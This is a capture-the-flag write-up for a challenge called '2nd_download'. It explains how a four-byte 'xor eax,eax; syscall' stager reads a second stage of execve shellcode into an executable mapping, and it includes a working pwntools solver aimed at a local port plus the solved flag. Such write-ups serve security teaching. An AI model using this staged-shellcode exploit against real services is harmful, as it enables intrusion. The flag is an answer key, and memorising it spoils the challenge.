2nd_download

Walkthrough

Solution

Only four bytes are initially copied into an RWX mapping, but the function pointer is invoked with stdin, the mapping address, and 0x1000 already in rdi, rsi, and rdx. Use the four-byte stager xor eax,eax; syscall to perform read(0, upload, 0x1000).

The second read overwrites the mapping. Put four disposable bytes first so execution resumes at offset four, followed there by normal execve shellcode that reads the flag.

Reference solver

The reference solver supplied with the writeup:

#!/usr/bin/env python3
from pwn import *

context.arch = "amd64"
context.log_level = "error"

io = remote("127.0.0.1", 9008)

stager = asm("xor eax, eax; syscall")
shellcode = asm(shellcraft.execve("/bin/sh", ["sh", "-c", "cat flag.txt"], 0))
second_stage = b"A" * 4 + shellcode

io.sendafter(b"FIRST FRAGMENT: ", stager + second_stage)
io.recvuntil(b"Securinets{")
flag = b"Securinets{" + io.recvuntil(b"}")
print(flag.decode())
io.close()

Flag

Securinets{th3_s3c0nd_d0wnl04d_c4rr13d_th3_r34l_l34k}